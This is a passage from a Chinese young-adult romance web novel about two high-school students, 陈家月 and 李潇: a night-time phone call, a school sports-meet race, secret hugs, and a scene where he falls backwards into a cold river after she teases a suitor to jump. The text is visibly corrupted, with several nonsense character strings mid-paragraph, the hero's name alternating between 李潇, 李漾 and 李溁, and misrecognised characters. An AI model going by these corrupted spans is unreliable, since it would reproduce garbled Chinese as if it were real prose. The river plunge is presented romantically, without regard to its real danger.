她知道不能迁怒他,可她心里难受,忍不住。 陈家月爬上床,裹紧被子,自己默默看聊天框,但就是不回消息。 李潇头像灰蒙蒙的,是雨水顺着玻璃滑落的痕迹,大概是他自己拍的天气照片。 他动态不多,很喜欢拍风景照,空间里给他点赞的倒是挺多的。但都是他们这个年级的,陈家月是团委,加的人多,基本都认得。 很多都是女生。 有个十七班女生很眼熟,几乎每条都点,也每条都评论,她鬼使神差点进去女生发的动态,基本都是十七班的事。譬如:【真服了,张大炮又拖堂。】【每次wxj发卷子我就知道,世界末日到了,wxj什么时候能别惦记她那个破学案了?】【食堂三楼麻辣烫比一楼好吃,一百倍!】女生人缘挺不错的,好多人给她回复,她也会互动,空间花里胡哨很热闹,连背景音乐都是很熟悉的歌陈家月也不知道自己在翻什么,但就是默默地习惯性往下翻。是女生发了条动态:【可恶啊,我就知道我和wj八字不合,每次上她的课都倒霉,今天去她办公室看成绩,半路上把手擦破了。】他回了个:【哈哈,在哪。】女生说:【实验楼空中走廊扶手。(手动再见)】陈家月整个人都不好了!也说不上来哪里不好,总之就是生气!他还哈哈,有什么好笑的就哈哈! 她彻底不想理他了,手机往床上一摔,闭眼就要睡觉。接着手机提示音继续响起来,陈家月没管,再后来,继续响,然而这次变成了电话铃声。陈家月一愣,摸出手机接听:“喂?" 那边沉默了两秒钟,才安静开口:“生气了吗?" 陈家月咬唇。她也不好给他说她不高兴,又没有理由,只好小声道:“没有。“那怎么都不回消息。"“我睡觉了。”那头像是轻笑了一声:“晚上九点半,睡觉了?"她蒙着被子不讲话。“睡得那么早,是不是不高兴了。”李说,“是不是因为我回去一周,没人陪你吃饭了?"是这样,可是这怎么能和他明说?她也没立场要求他,一定要跟她一起吃饭啊。她又想起陈如晦,强忍着不掉泪:“我自己吃。顿了顿,她说:“反正我之前都自己吃的。" 音调里染上浅浅哭腔,她刻意压制了,然而只要不聋,谁都能听出来。电话那头几乎一瞬间失了言语。他们那时候关系,其实有些模糊不清楚。李潇不知道怎么称呼她,有次他喊她“陈家月”,她愣了愣,小声说:“感觉这样喊,好凶啊。"后来他就改掉了。然而他们什么关系?他难道能去掉姓氏,直接喊更亲昵的名字吗。李潇僵持片刻,只得说了句没主语的:“不哭好不好。”她搂着被子,眼泪掉得更凶了。 陈家月也分不清是为什么哭,究竟是陈如晦打了她一巴掌,还是因为他要走。又或者是,她看见他给同班女生评论,感觉好亲密。好像都有点,她说不上来,只是觉得心口堵得慌。因此她没停,哽咽着破碎道:“不好,一点也不好。李潇无奈温和道:“是在骂我不好?”其实不算,但是她很娇气点头:“嗯。 他失笑:“那怎么办。”他说,“我不回去了好不好?"可是这样,她又觉得是她好坏,每个人都要回老家探亲,多么正常,她却偏偏不允许他回去。陈家月抹抹眼泪:“算了,不要了,你回去看家里人吧。 “那你还生气吗?"她摇摇头:“我不生气。”可是说着不生气,嗓音里软软的哭腔委屈极了。夜晚微凉,陈家月蜷成一小团窝在被子里。李在和她说话,声音平静,她也慢慢安静。床头只有盏昏黄的小灯,她抬头看着窗外:“今天晚上好黑啊,没有星星。“连月亮也没有。 李潇说:“晚上吃的什么。她乖乖诚实说:“没吃。”他顿了顿:“那想吃东西吗?吃面,烧烤店也开着,想吃吗?"烧烤她觉得好久都没吃了,陈家月其实很馋,想想轻声说:“我要吃烤羊肉串,烤鱼,还有烤金针菇。“嗯。”他笑,“那,能下楼吗?我带你去吃,不许生气了。"陈家月蓦地睁大眼睛,撑起身体光着脚走到窗边。夜色蒙蒙,她看见楼下站着的身影被拉成一道黑色的线。他像是知道她会看,抬眸,锋利的眉眼被夜风吹皱,他微微笑起来。 后来李潇没问过她具体原因,他真的以为是她气他丢下她一个人吃饭,才发脾气.是陈家月自己问了:“你和你们班语文课代表,关系很好吗?“李潇微微一愣:“谈不上好,怎么了。" 她淡淡哦,垂眸继续写题。后面又实在忍不住,还是说:“我还以为你们关系很好呢,我上次看她动态,看到你给她评论了。顿了顿,她解释:“就是不小心点进去了。"不是偷看。 头顶一声轻笑,陈家月抬眸,看见男生垂下视线,定定望过来,眼眸流露几分笑意:“嗯。 他这是什么表情,是信了还是没信啊。 陈家月扁扁嘴,搞不懂他,又去看试卷了。 那年夏季雨水来得格外多,天总是灰蒙蒙,阴沉着一张脸孔,陈如晦来了又走,舒柔的病情也反反复复,她原以为会很难熬. 然而其实没有。 李潇陪她上课,带她去吃饭。 她有时候不高兴,他会带她去附近玩,润州没什么好玩的,只能去三山一渡,心情不好,就去长江边吹风. 可是或许是身边有人陪着的缘故,陈家月抱着膝盖,坐在渡口边。 渐渐觉得,好像也没那么不开心了。 有次李潇在通电话,是和陆承风。 那边不知道说了什么,他视线投过来,笑了笑,旋即低声对着电话道:“你怎么这么多话,我要挂了。 陈家月想到陆承风也烦。他怎么这么霸道,管天管地,李和谁写作业也要管。 她悄悄说了句:“哼。 小脾气,他笑了。 八月最后一天,上完最后一节物理课,教室里学生都走了。 八班开学有考试,陈家月紧张,担心自己物理还是会出问题,于是坐在教室里,紧张地查漏补缺。 最后一排窗户开了半扇,依旧在下雨。 雨水噼里啪啦敲进来,她一无所觉。 女生身·体淡淡的香,弥散开来,钻进他鼻尖,李望着她莹润貌美的脸颊: “一会儿开学之后。" 陈家月从卷子上抬眸:“嗯?"李潇停顿片刻,迟疑道:“回学校了,午饭晚饭,我就不陪你吃了?"她一时没反应过来,惯性地脱口而出:“为什么?大眼睛湿漉漉的,眉头很委屈皱起来。这还能是为什么,李潇心软又好笑:“你有小姐妹吃饭了,而且。”他低着嗓音,“我们什么关系呢,被别人看到,不会说闲话吗, 122、05 热恋的时刻最任性 李潇的问题,陈家月回答不了,主要是她偏迟钝,其实压根没往某些方面想,她就是单纯觉得,很想他,很想和他一起吃饭,想每天见到他,和他说话。至于其他的,她真的意识不到。 陈家月想想也是,于是点了点头:“也有道理,那就以后上小课的时候再吃吧。 所以她是,变相拒绝他了是吗。 李潇抿了抿唇,唇色发白:“嗯,好。 九月开学的时候,陈家月还是不想跟陆承风说话。 团委最近事很多,高三的要准备高考,新高一还懵懵懂,什么都不太会。于是重担就落到了高二身上。陈家月刚开学,忙得焦头烂额。好几次早读课都被叫去开会,老师也理解,统归她成绩好,早读上不上也不影响, 是陈家月自己担心罢了。后来开学考成绩出来,她还是第一,她才算舒了口气。陆承风第二 比她差了两分。陆承风本人简直不敢相信,吃中饭的时候,还在和李满吐槽:“靠,我觉得我们用陈家月,暑假肯定请八百个老师补过课了。她数理怎么可能这么稳,怎么可能?这次题型挺多变的,她不是这方面最薄弱吗,这不是她的风格,不像啊!”李潇弯唇莞尔。“真气人真气人,我之前在上一届,还没掉到第二过!”陆承风戳盘子,不解气,“不对,我从小到大都没第二过!"李潇不咸不淡嗯:“那你要努力啊。"气死了气死了!" 对于此事,陈家月毫不知情,她最近梢微轻松了点,因为新高一有个学妹开始帮她忙了。对方叫云挽,是个性格温温柔柔的小姑娘。唯一缺点,就是有些爱打听八卦:“学姐,你之前是不是,和陆学长…”“造谣,纯属造谣。”陈家月好无语,这种陈年老八卦已经传到新高一了吗?她摁住云挽肩膀:“别信那种鬼话,他们骂得太脏了,鬼才会跟陆承风谈恋爱呢! 云挽: 九月秋阳明媚。 半晌,訪殴拙靄油挽弯了弯唇:“好。 十月中旬,一中开了运动会。陈家月是个体育废,什么项目都不行,只能帮忙去做检录,陆承风也做检录不久前,她倒是开口和陆承风讲第一句话了。只不过谈话内容是,陆承风说:“老班让你把卷子收了放办公室。她:“哦。 虽然不多,也算是进步。她看参赛人员名单时,看到了李潇,他跑五千米。像这种跑步比赛,是最激烈,也是最热闹加油最多的一项,每年跑五千,都有女生歌斯底里在场边喊.陈家月盯看名单上两个字,莫名不大高兴,他不是不爱热闹么,怎么这种顶目也参加啊真是的。后来到了检录的时候,她看见了李潇。他是和另外几个男生一起来的,看样子心情还不错。身边男生在讲笑话,少年冷峻的一张脸,扯出几许笑意.身边陆承风坐得离她不远,很稀奇:“什么风能把你吹来跑五千,闲的没事干啊?"五千米和别的不同,挺难跑的,很考验人的意志和耐力。陆承风理解不了。李潇笑了笑,接过他甩来的本子,还回去,没说什么。陆承风说:“袖章和背心去她那儿领。“ 他指了指陈家月。陈家月一怔。李潇视线望过来,她才微红着脸点点头:“嗯,拿到衣服号码给我登记一下。"他走过来,随意从地上篓子里捞出一件:“053。” “袖章也在吗?" “嗯。 陈家月给他记在小册子上,他把背心换好,别袖章的时候,李和陈家月说:“这上面回形针,好像没有了。 陈家月咦了声,让李潇站在旁边稍微等一会。 等参赛的全部检录完成,她才捡剩下背心上的别针,递给李。 他接过,说谢谢。 只是看他垂眸偏过头,有些笨拙的模样,陈家月神情有了变化:“我来吧。 他笑笑,把别针给她。 小小一枚别针,银色的金属光泽,陈家月认认真真给他别衣袖上。有女生过来送水,是他班上的,李说了句:“谢谢。”女生红着脸走了。陈家月莫名就觉得心里很不是滋味起来。旁边男生等候的时候,突然闲聊起来:“你跟你对象还在闹别扭呢?“又啊。““那咋哄,不会哄不好了吧?"男生做伸展动作,笑嘻嘻道:“不会,我跑完五千米去抱她。 那不就是众目睽睽之下,他兄弟了然笑道:“哇靠,你还怪有心机呢。“那是,不然小女生咋哄。陈家月默默听完,转头,李潇还在调整袖章位置,以防它被风吹落。陈家月看他好半天,忽然说:“你为什么参加这个啊?"她想不通,他应该不喜欢吧,可还是过来了,为什么,他也有要道歉求原谅的人吗。是他们班女生吗。 陈家月就想到暑假那次,看到他给班上女生回复的动态。 李潇应该没听清,低眸看着她:“嗯?”陈家月抿唇:“没什么。" 还是算了,别问了。他们运动员入场,她要去终点记成绩,五千米始末点不在一起,陈家月抱着名单册,站在操场边缘。十月秋天了,天气已经带着凉意,她穿着单薄秋季校服,眼瞳很清亮,她不知道,好多人在偷偷看她十六岁惊掐的少女,并是站在那里,就平能心心云力自哨声响起,场上的人伴随着呐喊声冲出跑道。陈家月对这些比赛不感兴趣的,可就是那个人也在场上的缘故,她握紧笔杆,站在人群里,焦急地望起来.比赛很漫长,总共要跑十二圈半,其实前半程还好,男生们的体力都很好。其中不乏体育生,浑身肌肉道劲,冲得很猛。然而到了赛段的中后程,渐渐地体力耐力耗尽,汗水涌出,浑身的水分盐分缺失,心跳加剧,呼吸也变得刺痛而急促,才真正迎来整个比赛最痛苦,也是最黑暗绝望的部分。开始容易,坚持总是很难的。就像任何事任何感情,开篇多么简单,想要守住,却是要肝胆俱裂黯然神伤,体验个中百般滋味。呐喊声欢呼声没停,是场上人的速度慢下来了,很多人都不行了,体育生也觉得难熬。陈家月咬着唇,艰难挤到人群最前面。她看到他了,排在中前的位置,大概很累了,汗打湿了衣服,一滴一滴往下淌着,他紧抿唇,一声不吭,咬牙忍耐。周围很多人叫好,陈家月却渐渐眼圈红了。 她还是搞不懂,真的不懂,他干嘛参加这个,折腾自己难道很好玩吗,多累啊。 他好好待着不行吗? 陈家月心里又急又气,夹杂着浅浅的心疼,秋风吹过,一瞬间她呼吸都泛起疼来。 赛程逐渐结束,圈数也一圈圈减少了。 到了最后两圈,操场上欢呼的人潮几乎像山倒,震天响,都在鼓励他们不要放弃。 只有陈家月没喊,她快哭了。 幸好比赛进行到热闹阶段,平时看她的,也不看她了。 最后一圈,所有人都在提起力气冲刺,欢呼震得她耳膜发疼. 终点桌上,摆着很多盒牛奶,是要拿走牛奶才算数的。 李潇还是排在中前的位置,他前面,已经有三个人拿走牛奶了,他距离她越来越近,越来越近。 陈家月咬牙,那只手近在眼前了。 就在他要把牛奶拿走的时候,她手忙脚乱,先他一步把牛奶盒捧起来。 他的手没预防落下,直直扣住了她手腕。 他大概也愣住,漆黑眼瞳一闪而过错愕。 然而毕竟力气耗尽,李漾膝盖一软,很快对着绿茵直挺挺跪下来。 陈家月手腕被扣住,被他连带着歪在了草坪上,他额头低垂,抵着她肩膀。触碰她,感知到她的身体,她的香味,以至于那时候的记忆,他很多年后都没忘 她想憋住泪意,可最后没憋住,流泪小声说:“你难不难受呀,谁让你报名这个的,真坏,那么累,报名别的不好吗? “不好。”他像是笑了一下,嘴唇干裂,“我就要这一个。” 跟他讲不通! 陈家月泪汪汪坐在草地上,吃力扶住少年的身体:“那你以后,更有劲了再比不行吗?现在什么能啊。 他抿了抿唇,沉默了。 很久才低声说:“我怕以后没机会了。" “"怎么可能。”她没理解他说的没机会,是指什么,“十七岁做不到,二十七岁总要好点啊,又不是以后腿就跑不动了。 他像是知道她气,弯唇笑了笑,没反驳。 周围人的注意力其实并不在他们这里,因为跑第一的男生,给自己女朋友道歉表白了,所有人都在起哄一中管早恋不严,这种模棱两可的,更是不会管,所有人都闹得很开心。只有他们,跪在遮阳棚一角的铁杆下,像两只小小的刺猬。 陈家月望着不远处,男生女生明媚热烈的笑颜。 突然就想到在检录处听见的那句话。 她眼泪干涸,伸手推了推李潇:“你没有话要跟我说吗。 这回换他愣神。 他其实没准备说什么,就是觉得,跑这个,能让人印象深刻。他会被她记住吧,即使未来路途遥远他们会分开,即使她会有新的朋友,新的圈子。 李潇嗓音有点哑:“什么话。”陈家月说:“你不知道?真的没有吗。"他疲倦摇了摇头。 陈家月也难受,但那个时候好很多了,她咬唇,最后干脆全部都说出来:“那你听好,你以后不许接别人的水,不许给别人评论,我不高兴,反正你不许。说罢,她孩子气把手里牛奶藏在身后:“不然不给你,你成绩无效,白跑了。秋风阵阵吹拂她脸颊,吹掉她粉腮挂着的泪珠.他错愕,后来慢慢笑:“好。” 123、06 不顾一切的给约定 那次运动会之后,陈家月感觉和李潇之间的氛围好像怪怪的。 具体说不上来,但是就是和之前很不一样,尽管他们每天聊的内容也没有改变,李漾照常问她题目,她晚上睡觉之前也会和他聊天。 有一次食堂吃完饭,她和何小恬正要去隔壁小店买奶茶,看见李从小卖部出来。 他不是一个人,身边还有他们班其他两个男生。 看见陈家月,他抬头, 微微顿住脚步。 陈家月也是一愣,本想说话的,然而看了他身边男生两眼,突然心跳加速,觉得有些奢迫和尴尬。她之前和陆承风传绯闻,都没这么尴尬。 她抿了抿唇, 快速垂下眼睛,想从他身边绕过。 李潇没说话,只是她路过身边时,他微微侧过身体朝向她,摊开掌心,那里是一袋糖。就是最普通的袋装棉花糖,草莓味,她记得他不爱吃甜食。陈家月愣住了,站在那里傻傻地说:“给我的吗?"他扯唇,还是没开口,点了点头。 秋阳洒在他肩上,他身后是正在飘落的金黄树叶,整个世界,好像都变成金色。太奇怪了,陈家月不知道为什么莫名其妙,竟然觉得心跳得厉害。她连眼睛都没敢抬,快速从他掌心抓过糖就走了:“谢谢。” 指尖划过掌心,能感觉到少年温热的体温。 身后依稀传来几声暖昧的嘘声,何小恬也瞪大眼睛,排队的时候问陈家月:“你们关系这么好吗?"陈家月耳根还是烫,小声说:“这算好吗?"何小恬惊讶:“当然啦,你没听他班上女生说啊,他性格可冷僻了,都没见他跟哪个女生说很多话的。 陈家月想了想:“我跟他也说得不多。"“但是他都给你送糖了,证明你俩关系确实很好啊。女孩子低下头,盯着掌心那一小袋棉花糖,若有所思。 那天回去后,陈家月洗漱完,做了两套数理卷,很早就裏着被子上床睡觉了。睡前她抱着手机,默默盯着李头像框看了很久。 后来又去看他签名,翻他们从前的聊天记录,还有他发的语音。到了差不多十一点多的时候,提示音响起,聊天框弹出内容,他准时给她发消息。 陈家月难得没有回。 她盯着聊天框,傻愣愣看了很久。 她不知道李潇为什么要送她糖,其实这只是一件很小的事,可能他就是正好买了,所以正好送了。 然而在那个年纪,那么小一件琐事,都值得反复确认,在心里翻来覆去掂量很久。 陈家月最后看了眼他发的消息,最后把手机扣在枕头底下,蜷着身体睡着了。 她那晚没有给李潇回消息。 一直到一个月后,她觉得她和李潇都挺奇怪,尤其是她从北戴河回来,那种异样让人心慌的感觉达到顺峰,她不知道为什么,总想逃避他,可偏偏逃避不了他,他好像,比从前出现的频率更高了。 他会和她一起回家,会在回廊下等她,深秋的夜晚寒冷刺骨,李有时看她围中没戴好,会低下头,帮她将衣领扯平。 都是很小很小的事,点到即止的温柔。陈家月不理解,心里隐约也猜出什么来,回廊遮盖一半阴影,她看着他分明的骨节,再次轻轻搭上脖颈.“我觉得很奇怪。”她不确定地开口,“明明我们没在谈恋爱,为什么每天都要一起回家。有瞬间,她觉得他浑身好像被冻住了,指腹微不可查瑟缩了一下,变得微凉。沉默了很久,回廊基本没什么来,安静了很久很久。直到他退一步,收回了手,低眸有些抱歉说:“我以为我们已经在一起了。"他继续退一步,完全到阴影里,和黑暗融为一体,声音嘶哑:“你先出去吧,我过会儿再出去,不然他们会乱说的。陈家月将信将疑地往前走了。 只是走了几步回头,她发现李潇还在那里,完全没有像往常一样跟上来,或者离开。他就像是一堵墙,安稳而坚实地在她身后,很多时候,她其实意识不到他的存在。 因为他太没有声音了,他永远沉默地做事,沉默地接近她。 陈家月心里慌得不行,明明她之前都知道,不要早恋,不能早恋的,她不是针对他,她只是太乖了,不敢而已她甚至拒绝他的方式,和前面对待别人相比,都很温和,称不上有伤害。然而李潇比之前更加静默寡言了。 他连给她发消息,都从此没再有过。 就像是两个完全不相干的陌生人,他们原本就不该有交集的,半年前的暑假才是意外,遇到他是意外,一起补课是意外,坐在他身边也是意外。 就连后来慢慢对他产生的依赖,都是不应该的。 可是她不愿意。 她还是想看到他,她只想黏着他。 深秋有次上小课,夜里温度分外冷,陈家月照例来得很早,等在教室外头,整个人冻得发慌她在和同班的人讲话,是个男生,物理成绩挺好的,每次考物理都能考前三,很厉害。 陈家月翻开习题问他问题,那人把书捧过去,看了两眼就挑挑眉给她解释。 他声线带着少年人一贯的傲慢,毕竟是自己擅长的领域,总难免自负。 陈家月顺着他自己理解了一下,最后失败,但她也不敢表露出什么,只好装作听懂的样子。 他们在路灯下毫无顾忌讲话,过了没两秒,陈家月听到林荫道上传来的脚步声。 很轻微,伴随着影子愈靠愈近,她转过脸,对上男生被路灯拉长的身影。 是李潇。 夜晚天很冷,不在学校了,他就穿了件很普通的深色外套,看见她,愣了愣,原本默然的神情有了变化。视线落到她和旁边男生身上,李潇没说什么,轻着唇,移开视线 他站在林荫道黑漆漆的地方,路灯照不到,只有一点昏的影子。 他也没有像从前一样和她打招呼,看到她,就像没有看到一样。 陈家月的心思渐渐飘到他身上,同班男生讲了什么,她全然没在听了。 “你听懂了没有?" 陈家月回过神,神情带着茫然。 对方男生也是很自傲的类型,教她教不会,眼睛里都透露出高傲的优越,和怜悯来:“算了,这题是挺难的,你别理解了,下次遇到别做了,反正也不会。 陈家月咬了咬唇。 她也有脾气,被他这么看不起,她垂下眼睛看了自己的书一眼,毫不留情抽出来。 月光被完全挡住,她纠结地想了好久,最后抱着书走到林荫道那边,站定。 他大概是没想到她会过来,原本盯着地面放空,表情有瞬间变得错愕。 很微小的变化,两秒钟后就恢复了沉静。 两个人静静对望片刻,最初谁都没开口,气氛就那样僵持着,直到她惴惴不安看着他,那双眼睛一眨不眨,在黑暗里,轻声喊他名字:“李潇。他沉默,良久嗯了一声。 陈家月陡然觉得好难办啊,她接下去要怎么说啊。他很久都不跟她说话了,她不开心,她难受,她想要他跟她说话跟她吃饭,是这么说吗?她咬着唇,好半天才低声憋出一句:“我这个题看不懂。"果然还是这样说最不丢脸。 陈家月心想,要是他拒绝再跟她讲话,她就说好吧,她再问问别人。这样还能圆过去,不会太难堪,挺好的挺好的。 然而李潇安静片刻,身形像是稍稍站直了些,他低看她,伸出只手:“嗯,哪里不会。 像从前一如既往的好脾气,温和。 H似大可目管类,"I发片面,"Y 笔芯像往常一样的耐心和细致,他总是和别人不一样,他细心,也更有绵长的心思。不管她听不听得懂,需要他讲多少遍,他都不会生气. 陈家月听着听着,心思早就飘走了,根本没听清他在讲什么,甚至李都停下来了,温声问她这里能明白吗,她都没听见。 她只是默默盯着他拿书的手看了会儿,最后抿抿唇,莫名其妙的拿手指碰了碰。 他僵住了,唇色泛白。 陈家月没注意到,她就觉得他可能是外套穿少了,不然体温怎么会这么低。她莫名其妙的,指尖在上面停留了一会,最后慢慢握住了他的手,很凉,比她掌心的温度低很多。“怎么了。” 陈家月感觉被抓包一样,但还是软软的老实说:“你好冷啊。她看他不说话,继续大着胆子:“给你摸摸。”他沉默蛮久。 最后林荫道有人过来了,他才拉着她后退一步,走到更暗的树下。 李潇偏过头,倒是也没说不让牵,但也没说别的。最后她彻底两只手都住他,他顿了两秒,默许了。 他不知道他默许的后果,是她可能得寸进尺的。很多年后他面临同样的困境,为她的靠近困扰不已,那时候他就知道,其实一切都有预兆陈家月捏他手玩了会,做贼一样偷偷摸摸观察了他一阵。她伸出胳膊,小心翼翼地抱住了他。 他像是早预料了,没跟之前那样全身僵硬,反而像是在心里叹了口气李潇低头,轻声有些无奈:“一会人过来了。”“哦。”陈家月莫名被他说得脸红红的。“下课了回去给你抱。”他摸摸她披下来的头发,“你听懂没有。 她点点头,然后又摇摇头。 他轻笑一声,算了。摊开手心,宽厚粗粝的掌心里,静静躺着一颗糖。陈家月一愣,看半晌糖又看看他:“给我的?"他淡淡嗯,最后用手背轻轻蹭了蹭她脸颊:“别和我闹别扭了。 124、07 终于听见下雨的声音 陈家月额头抵着他肩膀,乖乖小声说哦,她抱着他还不肯撒手,感觉好久没和他说过话了。 夜风很凉,他低眸单手拢住她肩头,好笑又温柔:“上课了。 她还是维持着这个姿势,小声闷闷地说:“不想上课嘛。 她是个很乖的姑娘,还从没说过不想上课的话,李漾心里叹气,大概明白怎么回事,想推开她的手顿住,低声说:“那不上课去哪里呢。她说不知道。李潇弯了弯唇,最后伸手牵住她的,看她没有抗拒,他握得更紧,男生的掌心温烫,很干燥。陈家月抬起清亮的眼睛,眼巴巴望着他:“我们去哪里啊?"李潇笑一声:“你想去哪里?"她不知道嘛,她要是知道就早说了,陈家月就是想跟他多待一会,不想去上课,上完课就要回家了,就没时间和他说话了。梦溪路那里有个书城,就叫梦溪书城,是健在地下的,有个楼梯下去,陈家月平时除了学校家里,就是补习班书城,连商场都很少去,乖得很她想了想说:“要不我们去买书?"他低眸看她笑了:“嗯。”谁家跟男生出去就是去买书啊。可他大概明白她的羞涩,紧张不安,他和她不同,大她两岁,好像情也比她延生长得更快,他觉得她还没开窍呢。 他愿意等罢了。 梦溪路上的梧桐都开始剥落了,片片落叶飞旋下来,落在两个人肩上,陈家月不上课其实还挺高兴的,难得有一种当“坏学生”的刺激感,一路上都有些雀跃,就差蹦蹦跳跳了。 李潇慢声和她说话,望她一眼,让她走自己里面。 只是走到书城入口地方,她往下望了望,又不愿意下去了。李淡淡说:“怎么停这里。 陈家月讲不出,看看底下,又看看他,想半天不知道想到什么,小脸红了。最后她看都没有人,红着脸把他推到书城后面偏僻的角落:“就待这里。 李潇好笑:“待这里干什么。 她不敢抬头:“我就要在这里嘛。 说完,悄悄抬头看他一眼,又给他默默抱上她抱着就不讲话了,过好半天,大概是觉得都不讲话好尴尬,于是抬头啊一声:“好暖和。 他又气又好笑,她之前都把他拒绝完了,现在倒是大晚上没人在这抱着他不撒手,她究竟知不知道边界感,不是她男朋友,她怎么都能随便抱. 可是最好笑是,他还偏偏没法推开她,李低眸看她良久,沉默把她搂进怀里:“这样呢? 他身上味道宽厚温和,淡淡地钻进她鼻间,他给她挡着风也不冷,陈家月暖和得都想睡觉了。 她闭上眼,又睁开,仰着小脸看看他,李说看什么,她摇摇小脑袋,说:“你真好看。 他失笑,轻嗯。后面也抱不了多久,她就要回家了,舒柔那时候被接回了京城看病,家里陈如晦不在,就她一个人。李溁看了眼时间,拍拍她肩膀:"走吧,到下课时间了,送你回家。他握住她肩膀把她稍稍分开:“我打辆车。”否则天太冷了。他从口袋摸出手机,陈家月眼疾手快攥住他袖子:“不要不要。李望她。陈家月夺过他手机背着手藏在身后:“不走,再待会。他好无奈:“那我也不走?"感觉这样子很不好,她本身是个很讲道理的姑娘,不会无理取闹,然而对上李潇,她老想跟他撒娇,反正对他来说也很有用:“嗯,不许走。行,她真是折腾人,李潇随她把手机拿过去了,也不管她要:“嗯,那不走,但是外面天太冷了,饿不饿,想吃东西吗?"他想找个有暖气的店给她待着陈家月就是想黏他,看他不走就放心了,也不在乎其他的:“哦。"嘴巴扁了扁,又展开胳膊,“抱抱。他受不了她,笑着把她拥在怀里,下巴抵着她脑袋顶顶。 那晚是李漾把她送回去的,十点多才到家,送到门口,她还是不想撒手,开了门,望着前面黑黢黢客厅,又回头望望他:“拜拜。 满脸不情愿,感觉他一松手,她就能委屈掉眼泪了。 李潇笑,还是松开手:“拜拜,一会儿早点睡觉吧。 她闷闷地:“哦。 他走了。 个个原大定害啊,口正院二胜笔床二,除家月把有有于小品世不有3百外行元如华室某口家列十人者M坏人,干嘛不给她发消息。 陈家月看一眼,虽然聊天页面上最后一句是他发的,她都再没回过,但是。 但是他就不能再发一次吗,陈家月不高兴。 后面等到十二点多,她都快迷迷糊糊睡着了,手机提示音才叮地响起来,李潇:【到家了,快睡吧。】 陈家月莫名其妙脸一红,他哪里知道的她没睡在等他消息啊,好奇怪啊他。陈家月把手机一扣,脸红红的就要蒙上被子,蒙了三秒钟,又想起来应该要回他一下,陈家月又把手机捞出来,认认真真给他敲:【嗯嗯,晚安。】 非常满意地睡觉了。 不过她和李潇在学校里还是不怎么说话,只是她见到他不太会躲了,她感觉李口袋里总揣着糖,每次看到她都能摸出一颗来。 十二月,学校有个文化活动,要去江滨路那里的渡口,陈家月最近其实很喜欢这种活动,她家里没有人,和同学一起做活动,她觉得很安心。 她偷偷摸摸抱李潇很久了,不对,也不能说偷偷摸摸,因为每次都是她主动攥住他两根手指,拽一拽,他大概就懂她想干什么。 “抱抱。 李潇就抱她。 陈家月还比较懵懂,不明白她这样做代表着什么,她一直都按照陈如晦教导的方式生活,陈如晦告诉她不要早恋,她乖,听话,就一直不敢早恋,觉得那是坏学生才会做的事。 可是她不懂。 她这样,和早恋有什么区别。 她更加不懂,她想靠近他,就靠近他,却不以任何名义,这种行为有多不好。也就是李脾气好,换做别人,可能是要生气的。但是陈家月暂时还没想好要怎么办。诶,好苦恼。她不想纠结嘛,陈家月捂脸,好想继续逃避啊。可是她在这边苦恼。那边却有个男生走过来:“陈家月,我喜欢你。陈家月都懵了,她本来就烦早恋的事,他又这么正当光明说,她好不想讲话,更烦了“哦,但是我不喜欢你。" 男生继续纠缠,她继续拒绝:“我不想早恋,不好意思。" 男生也是自己班上很有名的人物,追他的女生也有好多,还是头一次遇到这种闭门羹,当即就气死了,说:“那要怎么样你才肯跟我谈恋爱? 陈家月也蛮气的,他怎么就听不懂呢,她抿抿唇,看眼江面,故意说:“那你跳下去啊,你跳下去再说。” 她觉得自己还蛮聪明。 反正她说的是跳下去再说,没说跳下去就谈。 不然万一他真跳下去咋办。 不过那男生果然没有那种勇气,他听出来她是有意为难了,气得掉头就走了。 陈家月心里松了口气,继续帮班里弄东西,他们那次还有义卖活动,场地铺的还挺乱的。 她一直没看到李潇。 直到最后活动结束,大家都要走了,陈家月帮着留下来收拾场地。 她把垃圾装塑料袋里扔掉,其他同学都跟她说再见:“月月,周一见啦。“ 陈家月也挥手:“嗯,拜拜,回去小心。" “好,你也打车回去吧,不然太冷了,也不安全。 “嗯嗯,我知道。 “那我们走啦。 陈家月看着他们走远,拍拍手,准备回去再看一遍还有没有哪里弄乱的没有,或者还有没有垃圾没收。 甘露渡码头夜风阵阵,有个延伸台直通江面,两边只有到小腿弯的铁锁连着, 要是不注意就容易掉下去 陈家月举着手机手电照了半晌,没有人了,只她一个,她检查完,正想回去。 “陈家月。'' 她停住脚步,回头,看见靠近渡口的树下站着道灰色的影子,修长高大,只是插着口袋靠在树边,肩膀微微地塌着。 这道身影太熟悉,她几乎一眼就认出来:“嗯?" 他停住,没再说话。 陈家月走近一步: “你怎么还在这里啊,有事吗。" 李潇仍是不吭声。 只是那双黑漆漆的眼眸望着她,或许是她错觉,夜色里,显得格外沉默温柔。 月色悄悄地隐没在云层,夜晚笼罩,两个人就这么彼此沉默了几秒,谁都没讲话。 是李潇先开口,声音低低地蔓延:“你刚才说的是真的吗。陈家月其实没听懂,她刚才说什么了啊:“啊?什么。"他抿唇,垂下眼睛。 两秒后,那道身影从树下走出来,慢慢走到江边的铁链旁,他很高,铁链连他的膝弯都够不到了。夜风很缓慢地吹过他额发,把男生黑发吹乱,他转过身,很安静看她。陈家月忽然觉得有几分不安,小声喊了他一句:“李潇?" 下一秒,他后退一步,背对着江面,就这样直挺挺栽了下去。 夜晚江水刺骨汹涌,他高大的身影一瞬间就没顶,被卷进了夜水之中。 陈家月快吓疯了,眼泪一下子掉下来,猛地跑到江边喊他名字:“李潇,李潇! 她手忙脚,眼泪露蒙蒙罍了好几层,哭得身体都软了,跌些在延伸台边,一边喊他,一边紧张地模出手机打电话,她想叫救护车,可是又不知道应该先报警打水警电话,还是先通知医院。 她明明从前不会这样,总是很稳得住,可是原来人到慌乱时候,其实很多事情都是记不住的。 滚烫的泪一滴滴落在手背,她呜咽半天,好不容易准备把电话拨出去。 江边传来水声,陈家月抬眸,水珠溅在身上,她眼睛一闭,再睁开,就看见少年撑着延伸台边翻身上岸。 陈家月愣住了,傻乎乎看着他讲不出话。 他浑身湿透,黑发贴着额头,往下湿漉漉滴滴答答滴着水,本就白皙的皮肤估计是受了冻,在夜色下呈现出一种异样的冷白,唇上血色褪尽,他眼眸看向她,似乎连体温都是冷的。 陈家月看了他半天。 他也定定地直勾勾看着她。 李喘了几口气,忽地笑了笑:“哭什么。”这句话就像根扎在心脏的刺,猛地把她疼醒了,陈家月哇地一声哭出来,搂住他脖子:“呜呜,我还以为你死了。"他笑:“没有,我还好。 